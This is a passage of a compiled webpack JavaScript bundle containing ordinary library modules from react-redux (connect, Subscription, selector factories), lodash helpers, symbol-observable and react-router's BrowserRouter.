this.listeners = nullListeners;
}
Subscription.prototype.addNestedSub = function addNestedSub(listener) {
this.trySubscribe();
return this.listeners.subscribe(listener);
};
Subscription.prototype.notifyNestedSubs = function notifyNestedSubs() {
this.listeners.notify();
};
Subscription.prototype.isSubscribed = function isSubscribed() {
return Boolean(this.unsubscribe);
};
Subscription.prototype.trySubscribe = function trySubscribe() {
if (!this.unsubscribe) {
this.unsubscribe = this.parentSub ? this.parentSub.addNestedSub(this.onStateChange) : this.store.subscribe(this.onStateChange);
this.listeners = createListenerCollection();
}
};
Subscription.prototype.tryUnsubscribe = function tryUnsubscribe() {
if (this.unsubscribe) {
this.unsubscribe();
this.unsubscribe = null;
this.listeners.clear();
this.listeners = nullListeners;
}
};
return Subscription;
}();
/***/ }),
/* 120 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* unused harmony export createConnect */
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__components_connectAdvanced__ = __webpack_require__(69);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__utils_shallowEqual__ = __webpack_require__(121);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__mapDispatchToProps__ = __webpack_require__(122);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__mapStateToProps__ = __webpack_require__(135);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__mergeProps__ = __webpack_require__(136);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__selectorFactory__ = __webpack_require__(137);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }
/*
connect is a facade over connectAdvanced. It turns its args into a compatible
selectorFactory, which has the signature:
(dispatch, options) => (nextState, nextOwnProps) => nextFinalProps
connect passes its args to connectAdvanced as options, which will in turn pass them to
selectorFactory each time a Connect component instance is instantiated or hot reloaded.
selectorFactory returns a final props selector from its mapStateToProps,
mapStateToPropsFactories, mapDispatchToProps, mapDispatchToPropsFactories, mergeProps,
mergePropsFactories, and pure args.
The resulting final props selector is called by the Connect component instance whenever
it receives new props or store state.
*/
function match(arg, factories, name) {
for (var i = factories.length - 1; i >= 0; i--) {
var result = factories[i](arg);
if (result) return result;
}
return function (dispatch, options) {
throw new Error('Invalid value of type ' + typeof arg + ' for ' + name + ' argument when connecting component ' + options.wrappedComponentName + '.');
};
}
function strictEqual(a, b) {
return a === b;
}
// createConnect with default args builds the 'official' connect behavior. Calling it with
// different options opens up some testing and extensibility scenarios
function createConnect() {
var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
_ref$connectHOC = _ref.connectHOC,
connectHOC = _ref$connectHOC === undefined ? __WEBPACK_IMPORTED_MODULE_0__components_connectAdvanced__["a" /* default */] : _ref$connectHOC,
_ref$mapStateToPropsF = _ref.mapStateToPropsFactories,
mapStateToPropsFactories = _ref$mapStateToPropsF === undefined ? __WEBPACK_IMPORTED_MODULE_3__mapStateToProps__["a" /* default */] : _ref$mapStateToPropsF,
_ref$mapDispatchToPro = _ref.mapDispatchToPropsFactories,
mapDispatchToPropsFactories = _ref$mapDispatchToPro === undefined ? __WEBPACK_IMPORTED_MODULE_2__mapDispatchToProps__["a" /* default */] : _ref$mapDispatchToPro,
_ref$mergePropsFactor = _ref.mergePropsFactories,
mergePropsFactories = _ref$mergePropsFactor === undefined ? __WEBPACK_IMPORTED_MODULE_4__mergeProps__["a" /* default */] : _ref$mergePropsFactor,
_ref$selectorFactory = _ref.selectorFactory,
selectorFactory = _ref$selectorFactory === undefined ? __WEBPACK_IMPORTED_MODULE_5__selectorFactory__["a" /* default */] : _ref$selectorFactory;
return function connect(mapStateToProps, mapDispatchToProps, mergeProps) {
var _ref2 = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {},
_ref2$pure = _ref2.pure,
pure = _ref2$pure === undefined ? true : _ref2$pure,
_ref2$areStatesEqual = _ref2.areStatesEqual,
areStatesEqual = _ref2$areStatesEqual === undefined ? strictEqual : _ref2$areStatesEqual,
_ref2$areOwnPropsEqua = _ref2.areOwnPropsEqual,
areOwnPropsEqual = _ref2$areOwnPropsEqua === undefined ? __WEBPACK_IMPORTED_MODULE_1__utils_shallowEqual__["a" /* default */] : _ref2$areOwnPropsEqua,
_ref2$areStatePropsEq = _ref2.areStatePropsEqual,
areStatePropsEqual = _ref2$areStatePropsEq === undefined ? __WEBPACK_IMPORTED_MODULE_1__utils_shallowEqual__["a" /* default */] : _ref2$areStatePropsEq,
_ref2$areMergedPropsE = _ref2.areMergedPropsEqual,
areMergedPropsEqual = _ref2$areMergedPropsE === undefined ? __WEBPACK_IMPORTED_MODULE_1__utils_shallowEqual__["a" /* default */] : _ref2$areMergedPropsE,
extraOptions = _objectWithoutProperties(_ref2, ['pure', 'areStatesEqual', 'areOwnPropsEqual', 'areStatePropsEqual', 'areMergedPropsEqual']);
var initMapStateToProps = match(mapStateToProps, mapStateToPropsFactories, 'mapStateToProps');
var initMapDispatchToProps = match(mapDispatchToProps, mapDispatchToPropsFactories, 'mapDispatchToProps');
var initMergeProps = match(mergeProps, mergePropsFactories, 'mergeProps');
return connectHOC(selectorFactory, _extends({
// used in error messages
methodName: 'connect',
// used to compute Connect's displayName from the wrapped component's displayName.
getDisplayName: function getDisplayName(name) {
return 'Connect(' + name + ')';
},
// if mapStateToProps is falsy, the Connect component doesn't subscribe to store state changes
shouldHandleStateChanges: Boolean(mapStateToProps),
// passed through to selectorFactory
initMapStateToProps: initMapStateToProps,
initMapDispatchToProps: initMapDispatchToProps,
initMergeProps: initMergeProps,
pure: pure,
areStatesEqual: areStatesEqual,
areOwnPropsEqual: areOwnPropsEqual,
areStatePropsEqual: areStatePropsEqual,
areMergedPropsEqual: areMergedPropsEqual
}, extraOptions));
};
}
/* harmony default export */ __webpack_exports__["a"] = (createConnect());
/***/ }),
/* 121 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (immutable) */ __webpack_exports__["a"] = shallowEqual;
var hasOwn = Object.prototype.hasOwnProperty;
function is(x, y) {
if (x === y) {
return x !== 0 || y !== 0 || 1 / x === 1 / y;
} else {
return x !== x && y !== y;
}
}
function shallowEqual(objA, objB) {
if (is(objA, objB)) return true;
if (typeof objA !== 'object' || objA === null || typeof objB !== 'object' || objB === null) {
return false;
}
var keysA = Object.keys(objA);
var keysB = Object.keys(objB);
if (keysA.length !== keysB.length) return false;
for (var i = 0; i < keysA.length; i++) {
if (!hasOwn.call(objB, keysA[i]) || !is(objA[keysA[i]], objB[keysA[i]])) {
return false;
}
}
return true;
}
/***/ }),
/* 122 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* unused harmony export whenMapDispatchToPropsIsFunction */
/* unused harmony export whenMapDispatchToPropsIsMissing */
/* unused harmony export whenMapDispatchToPropsIsObject */
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_redux__ = __webpack_require__(11);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__wrapMapToProps__ = __webpack_require__(71);
function whenMapDispatchToPropsIsFunction(mapDispatchToProps) {
return typeof mapDispatchToProps === 'function' ? Object(__WEBPACK_IMPORTED_MODULE_1__wrapMapToProps__["b" /* wrapMapToPropsFunc */])(mapDispatchToProps, 'mapDispatchToProps') : undefined;
}
function whenMapDispatchToPropsIsMissing(mapDispatchToProps) {
return !mapDispatchToProps ? Object(__WEBPACK_IMPORTED_MODULE_1__wrapMapToProps__["a" /* wrapMapToPropsConstant */])(function (dispatch) {
return { dispatch: dispatch };
}) : undefined;
}
function whenMapDispatchToPropsIsObject(mapDispatchToProps) {
return mapDispatchToProps && typeof mapDispatchToProps === 'object' ? Object(__WEBPACK_IMPORTED_MODULE_1__wrapMapToProps__["a" /* wrapMapToPropsConstant */])(function (dispatch) {
return Object(__WEBPACK_IMPORTED_MODULE_0_redux__["bindActionCreators"])(mapDispatchToProps, dispatch);
}) : undefined;
}
/* harmony default export */ __webpack_exports__["a"] = ([whenMapDispatchToPropsIsFunction, whenMapDispatchToPropsIsMissing, whenMapDispatchToPropsIsObject]);
/***/ }),
/* 123 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(global, module) {/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__ponyfill_js__ = __webpack_require__(125);
/* global window */
var root;
if (typeof self !== 'undefined') {
root = self;
} else if (typeof window !== 'undefined') {
root = window;
} else if (typeof global !== 'undefined') {
root = global;
} else if (true) {
root = module;
} else {
root = Function('return this')();
}
var result = Object(__WEBPACK_IMPORTED_MODULE_0__ponyfill_js__["a" /* default */])(root);
/* harmony default export */ __webpack_exports__["a"] = (result);
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(42), __webpack_require__(124)(module)))
/***/ }),
/* 124 */
/***/ (function(module, exports) {
module.exports = function(originalModule) {
if(!originalModule.webpackPolyfill) {
var module = Object.create(originalModule);
// module.parent = undefined by default
if(!module.children) module.children = [];
Object.defineProperty(module, "loaded", {
enumerable: true,
get: function() {
return module.l;
}
});
Object.defineProperty(module, "id", {
enumerable: true,
get: function() {
return module.i;
}
});
Object.defineProperty(module, "exports", {
enumerable: true,
});
module.webpackPolyfill = 1;
}
return module;
};
/***/ }),
/* 125 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (immutable) */ __webpack_exports__["a"] = symbolObservablePonyfill;
function symbolObservablePonyfill(root) {
var result;
var Symbol = root.Symbol;
if (typeof Symbol === 'function') {
if (Symbol.observable) {
result = Symbol.observable;
} else {
result = Symbol('observable');
Symbol.observable = result;
}
} else {
result = '@@observable';
}
return result;
};
/***/ }),
/* 126 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__baseGetTag_js__ = __webpack_require__(127);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__getPrototype_js__ = __webpack_require__(132);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__isObjectLike_js__ = __webpack_require__(134);
/** `Object#toString` result references. */
var objectTag = '[object Object]';
/** Used for built-in method references. */
var funcProto = Function.prototype,
objectProto = Object.prototype;
/** Used to resolve the decompiled source of functions. */
var funcToString = funcProto.toString;
/** Used to check objects for own properties. */
var hasOwnProperty = objectProto.hasOwnProperty;
/** Used to infer the `Object` constructor. */
var objectCtorString = funcToString.call(Object);
/**
* Checks if `value` is a plain object, that is, an object created by the
* `Object` constructor or one with a `[[Prototype]]` of `null`.
*
* @static
* @memberOf _
* @since 0.8.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a plain object, else `false`.
* @example
*
* function Foo() {
* this.a = 1;
* }
*
* _.isPlainObject(new Foo);
* // => false
*
* _.isPlainObject([1, 2, 3]);
* // => false
*
* _.isPlainObject({ 'x': 0, 'y': 0 });
* // => true
*
* _.isPlainObject(Object.create(null));
* // => true
*/
function isPlainObject(value) {
if (!Object(__WEBPACK_IMPORTED_MODULE_2__isObjectLike_js__["a" /* default */])(value) || Object(__WEBPACK_IMPORTED_MODULE_0__baseGetTag_js__["a" /* default */])(value) != objectTag) {
return false;
}
var proto = Object(__WEBPACK_IMPORTED_MODULE_1__getPrototype_js__["a" /* default */])(value);
if (proto === null) {
return true;
}
var Ctor = hasOwnProperty.call(proto, 'constructor') && proto.constructor;
return typeof Ctor == 'function' && Ctor instanceof Ctor &&
funcToString.call(Ctor) == objectCtorString;
}
/* harmony default export */ __webpack_exports__["a"] = (isPlainObject);
/***/ }),
/* 127 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__Symbol_js__ = __webpack_require__(73);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__getRawTag_js__ = __webpack_require__(130);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__objectToString_js__ = __webpack_require__(131);
/** `Object#toString` result references. */
var nullTag = '[object Null]',
undefinedTag = '[object Undefined]';
/** Built-in value references. */
var symToStringTag = __WEBPACK_IMPORTED_MODULE_0__Symbol_js__["a" /* default */] ? __WEBPACK_IMPORTED_MODULE_0__Symbol_js__["a" /* default */].toStringTag : undefined;
/**
* The base implementation of `getTag` without fallbacks for buggy environments.
*
* @private
* @param {*} value The value to query.
* @returns {string} Returns the `toStringTag`.
*/
function baseGetTag(value) {
if (value == null) {
return value === undefined ? undefinedTag : nullTag;
}
return (symToStringTag && symToStringTag in Object(value))
? Object(__WEBPACK_IMPORTED_MODULE_1__getRawTag_js__["a" /* default */])(value)
: Object(__WEBPACK_IMPORTED_MODULE_2__objectToString_js__["a" /* default */])(value);
}
/* harmony default export */ __webpack_exports__["a"] = (baseGetTag);
/***/ }),
/* 128 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__freeGlobal_js__ = __webpack_require__(129);
/** Detect free variable `self`. */
var freeSelf = typeof self == 'object' && self && self.Object === Object && self;
/** Used as a reference to the global object. */
var root = __WEBPACK_IMPORTED_MODULE_0__freeGlobal_js__["a" /* default */] || freeSelf || Function('return this')();
/* harmony default export */ __webpack_exports__["a"] = (root);
/***/ }),
/* 129 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(global) {/** Detect free variable `global` from Node.js. */
var freeGlobal = typeof global == 'object' && global && global.Object === Object && global;
/* harmony default export */ __webpack_exports__["a"] = (freeGlobal);
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(42)))
/***/ }),
/* 130 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__Symbol_js__ = __webpack_require__(73);
/** Used for built-in method references. */
var objectProto = Object.prototype;
/** Used to check objects for own properties. */
var hasOwnProperty = objectProto.hasOwnProperty;
/**
* Used to resolve the
* [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)
* of values.
*/
var nativeObjectToString = objectProto.toString;
/** Built-in value references. */
var symToStringTag = __WEBPACK_IMPORTED_MODULE_0__Symbol_js__["a" /* default */] ? __WEBPACK_IMPORTED_MODULE_0__Symbol_js__["a" /* default */].toStringTag : undefined;
/**
* A specialized version of `baseGetTag` which ignores `Symbol.toStringTag` values.
*
* @private
* @param {*} value The value to query.
* @returns {string} Returns the raw `toStringTag`.
*/
function getRawTag(value) {
var isOwn = hasOwnProperty.call(value, symToStringTag),
tag = value[symToStringTag];
try {
value[symToStringTag] = undefined;
var unmasked = true;
} catch (e) {}
var result = nativeObjectToString.call(value);
if (unmasked) {
if (isOwn) {
value[symToStringTag] = tag;
} else {
delete value[symToStringTag];
}
}
return result;
}
/* harmony default export */ __webpack_exports__["a"] = (getRawTag);
/***/ }),
/* 131 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/** Used for built-in method references. */
var objectProto = Object.prototype;
/**
* Used to resolve the
* [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)
* of values.
*/
var nativeObjectToString = objectProto.toString;
/**
* Converts `value` to a string using `Object.prototype.toString`.
*
* @private
* @param {*} value The value to convert.
* @returns {string} Returns the converted string.
*/
function objectToString(value) {
return nativeObjectToString.call(value);
}
/* harmony default export */ __webpack_exports__["a"] = (objectToString);
/***/ }),
/* 132 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__overArg_js__ = __webpack_require__(133);
/** Built-in value references. */
var getPrototype = Object(__WEBPACK_IMPORTED_MODULE_0__overArg_js__["a" /* default */])(Object.getPrototypeOf, Object);
/* harmony default export */ __webpack_exports__["a"] = (getPrototype);
/***/ }),
/* 133 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/**
* Creates a unary function that invokes `func` with its argument transformed.
*
* @private
* @param {Function} func The function to wrap.
* @param {Function} transform The argument transform.
* @returns {Function} Returns the new function.
*/
function overArg(func, transform) {
return function(arg) {
return func(transform(arg));
};
}
/* harmony default export */ __webpack_exports__["a"] = (overArg);
/***/ }),
/* 134 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/**
* Checks if `value` is object-like. A value is object-like if it's not `null`
* and has a `typeof` result of "object".
*
* @static
* @memberOf _
* @since 4.0.0
* @category Lang
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is object-like, else `false`.
* @example
*
* _.isObjectLike({});
* // => true
*
* _.isObjectLike([1, 2, 3]);
* // => true
*
* _.isObjectLike(_.noop);
* // => false
*
* _.isObjectLike(null);
* // => false
*/
function isObjectLike(value) {
return value != null && typeof value == 'object';
}
/* harmony default export */ __webpack_exports__["a"] = (isObjectLike);
/***/ }),
/* 135 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* unused harmony export whenMapStateToPropsIsFunction */
/* unused harmony export whenMapStateToPropsIsMissing */
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__wrapMapToProps__ = __webpack_require__(71);
function whenMapStateToPropsIsFunction(mapStateToProps) {
return typeof mapStateToProps === 'function' ? Object(__WEBPACK_IMPORTED_MODULE_0__wrapMapToProps__["b" /* wrapMapToPropsFunc */])(mapStateToProps, 'mapStateToProps') : undefined;
}
function whenMapStateToPropsIsMissing(mapStateToProps) {
return !mapStateToProps ? Object(__WEBPACK_IMPORTED_MODULE_0__wrapMapToProps__["a" /* wrapMapToPropsConstant */])(function () {
return {};
}) : undefined;
}
/* harmony default export */ __webpack_exports__["a"] = ([whenMapStateToPropsIsFunction, whenMapStateToPropsIsMissing]);
/***/ }),
/* 136 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/* unused harmony export defaultMergeProps */
/* unused harmony export wrapMergePropsFunc */
/* unused harmony export whenMergePropsIsFunction */
/* unused harmony export whenMergePropsIsOmitted */
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__utils_verifyPlainObject__ = __webpack_require__(72);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
function defaultMergeProps(stateProps, dispatchProps, ownProps) {
return _extends({}, ownProps, stateProps, dispatchProps);
}
function wrapMergePropsFunc(mergeProps) {
return function initMergePropsProxy(dispatch, _ref) {
var displayName = _ref.displayName,
pure = _ref.pure,
areMergedPropsEqual = _ref.areMergedPropsEqual;
var hasRunOnce = false;
var mergedProps = void 0;
return function mergePropsProxy(stateProps, dispatchProps, ownProps) {
var nextMergedProps = mergeProps(stateProps, dispatchProps, ownProps);
if (hasRunOnce) {
if (!pure || !areMergedPropsEqual(nextMergedProps, mergedProps)) mergedProps = nextMergedProps;
} else {
hasRunOnce = true;
mergedProps = nextMergedProps;
if (process.env.NODE_ENV !== 'production') Object(__WEBPACK_IMPORTED_MODULE_0__utils_verifyPlainObject__["a" /* default */])(mergedProps, displayName, 'mergeProps');
}
return mergedProps;
};
};
}
function whenMergePropsIsFunction(mergeProps) {
return typeof mergeProps === 'function' ? wrapMergePropsFunc(mergeProps) : undefined;
}
function whenMergePropsIsOmitted(mergeProps) {
return !mergeProps ? function () {
return defaultMergeProps;
} : undefined;
}
/* harmony default export */ __webpack_exports__["a"] = ([whenMergePropsIsFunction, whenMergePropsIsOmitted]);
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(2)))
/***/ }),
/* 137 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/* unused harmony export impureFinalPropsSelectorFactory */
/* unused harmony export pureFinalPropsSelectorFactory */
/* harmony export (immutable) */ __webpack_exports__["a"] = finalPropsSelectorFactory;
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__verifySubselectors__ = __webpack_require__(138);
function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }
function impureFinalPropsSelectorFactory(mapStateToProps, mapDispatchToProps, mergeProps, dispatch) {
return function impureFinalPropsSelector(state, ownProps) {
return mergeProps(mapStateToProps(state, ownProps), mapDispatchToProps(dispatch, ownProps), ownProps);
};
}
function pureFinalPropsSelectorFactory(mapStateToProps, mapDispatchToProps, mergeProps, dispatch, _ref) {
var areStatesEqual = _ref.areStatesEqual,
areOwnPropsEqual = _ref.areOwnPropsEqual,
areStatePropsEqual = _ref.areStatePropsEqual;
var hasRunAtLeastOnce = false;
var state = void 0;
var ownProps = void 0;
var stateProps = void 0;
var dispatchProps = void 0;
var mergedProps = void 0;
function handleFirstCall(firstState, firstOwnProps) {
state = firstState;
ownProps = firstOwnProps;
stateProps = mapStateToProps(state, ownProps);
dispatchProps = mapDispatchToProps(dispatch, ownProps);
mergedProps = mergeProps(stateProps, dispatchProps, ownProps);
hasRunAtLeastOnce = true;
return mergedProps;
}
function handleNewPropsAndNewState() {
stateProps = mapStateToProps(state, ownProps);
if (mapDispatchToProps.dependsOnOwnProps) dispatchProps = mapDispatchToProps(dispatch, ownProps);
mergedProps = mergeProps(stateProps, dispatchProps, ownProps);
return mergedProps;
}
function handleNewProps() {
if (mapStateToProps.dependsOnOwnProps) stateProps = mapStateToProps(state, ownProps);
if (mapDispatchToProps.dependsOnOwnProps) dispatchProps = mapDispatchToProps(dispatch, ownProps);
mergedProps = mergeProps(stateProps, dispatchProps, ownProps);
return mergedProps;
}
function handleNewState() {
var nextStateProps = mapStateToProps(state, ownProps);
var statePropsChanged = !areStatePropsEqual(nextStateProps, stateProps);
stateProps = nextStateProps;
if (statePropsChanged) mergedProps = mergeProps(stateProps, dispatchProps, ownProps);
return mergedProps;
}
function handleSubsequentCalls(nextState, nextOwnProps) {
var propsChanged = !areOwnPropsEqual(nextOwnProps, ownProps);
var stateChanged = !areStatesEqual(nextState, state);
state = nextState;
ownProps = nextOwnProps;
if (propsChanged && stateChanged) return handleNewPropsAndNewState();
if (propsChanged) return handleNewProps();
if (stateChanged) return handleNewState();
return mergedProps;
}
return function pureFinalPropsSelector(nextState, nextOwnProps) {
return hasRunAtLeastOnce ? handleSubsequentCalls(nextState, nextOwnProps) : handleFirstCall(nextState, nextOwnProps);
};
}
// TODO: Add more comments
// If pure is true, the selector returned by selectorFactory will memoize its results,
// allowing connectAdvanced's shouldComponentUpdate to return false if final
// props have not changed. If false, the selector will always return a new
// object and shouldComponentUpdate will always return true.
function finalPropsSelectorFactory(dispatch, _ref2) {
var initMapStateToProps = _ref2.initMapStateToProps,
initMapDispatchToProps = _ref2.initMapDispatchToProps,
initMergeProps = _ref2.initMergeProps,
options = _objectWithoutProperties(_ref2, ['initMapStateToProps', 'initMapDispatchToProps', 'initMergeProps']);
var mapStateToProps = initMapStateToProps(dispatch, options);
var mapDispatchToProps = initMapDispatchToProps(dispatch, options);
var mergeProps = initMergeProps(dispatch, options);
if (process.env.NODE_ENV !== 'production') {
Object(__WEBPACK_IMPORTED_MODULE_0__verifySubselectors__["a" /* default */])(mapStateToProps, mapDispatchToProps, mergeProps, options.displayName);
}
var selectorFactory = options.pure ? pureFinalPropsSelectorFactory : impureFinalPropsSelectorFactory;
return selectorFactory(mapStateToProps, mapDispatchToProps, mergeProps, dispatch, options);
}
/* WEBPACK VAR INJECTION */}.call(__webpack_exports__, __webpack_require__(2)))
/***/ }),
/* 138 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (immutable) */ __webpack_exports__["a"] = verifySubselectors;
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__utils_warning__ = __webpack_require__(45);
function verify(selector, methodName, displayName) {
if (!selector) {
throw new Error('Unexpected value for ' + methodName + ' in ' + displayName + '.');
} else if (methodName === 'mapStateToProps' || methodName === 'mapDispatchToProps') {
if (!selector.hasOwnProperty('dependsOnOwnProps')) {
Object(__WEBPACK_IMPORTED_MODULE_0__utils_warning__["a" /* default */])('The selector for ' + methodName + ' of ' + displayName + ' did not specify a value for dependsOnOwnProps.');
}
}
}
function verifySubselectors(mapStateToProps, mapDispatchToProps, mergeProps, displayName) {
verify(mapStateToProps, 'mapStateToProps', displayName);
verify(mapDispatchToProps, 'mapDispatchToProps', displayName);
verify(mergeProps, 'mergeProps', displayName);
}
/***/ }),
/* 139 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(19);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_history__ = __webpack_require__(24);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__Router__ = __webpack_require__(47);
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
/**
* The public API for a <Router> that uses HTML5 history.
*/
var BrowserRouter = function (_React$Component) {
_inherits(BrowserRouter, _React$Component);
function BrowserRouter() {
var _temp, _this, _ret;
_classCallCheck(this, BrowserRouter);
for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.history = Object(__WEBPACK_IMPORTED_MODULE_3_history__["a" /* createBrowserHistory */])(_this.props), _temp), _possibleConstructorReturn(_this, _ret);
}
BrowserRouter.prototype.componentWillMount = function componentWillMount() {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!this.props.history, "<BrowserRouter> ignores the history prop. To use a custom history, " + "use `import { Router }` instead of `import { BrowserRouter as Router }`.");
};
BrowserRouter.prototype.render = function render() {
return __WEBPACK_IMPORTED_MODULE_1_react___default.a.createElement(__WEBPACK_IMPORTED_MODULE_4__Router__["a" /* default */], { history: this.history, children: this.props.children });
};
return BrowserRouter;
}(__WEBPACK_IMPORTED_MODULE_1_react___default.a.Component);
BrowserRouter.propTypes = {
basename: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.string,
forceRefresh: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.bool,
getUserConfirmation: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.func,
keyLength: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.number,
children: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.node
};
/* harmony default export */ __webpack_exports__["a"] = (BrowserRouter);
/***/ }),
/* 140 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(33);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__LocationUtils__ = __webpack_require__(34);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__PathUtils__ = __webpack_require__(28);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__createTransitionManager__ = __webpack_require__(46);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__DOMUtils__ = __webpack_require__(74);
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var PopStateEvent = 'popstate';
var HashChangeEvent = 'hashchange';
var getHistoryState = function getHistoryState() {
try {
return window.history.state || {};
} catch (e) {
// IE 11 sometimes throws when accessing window.history.state
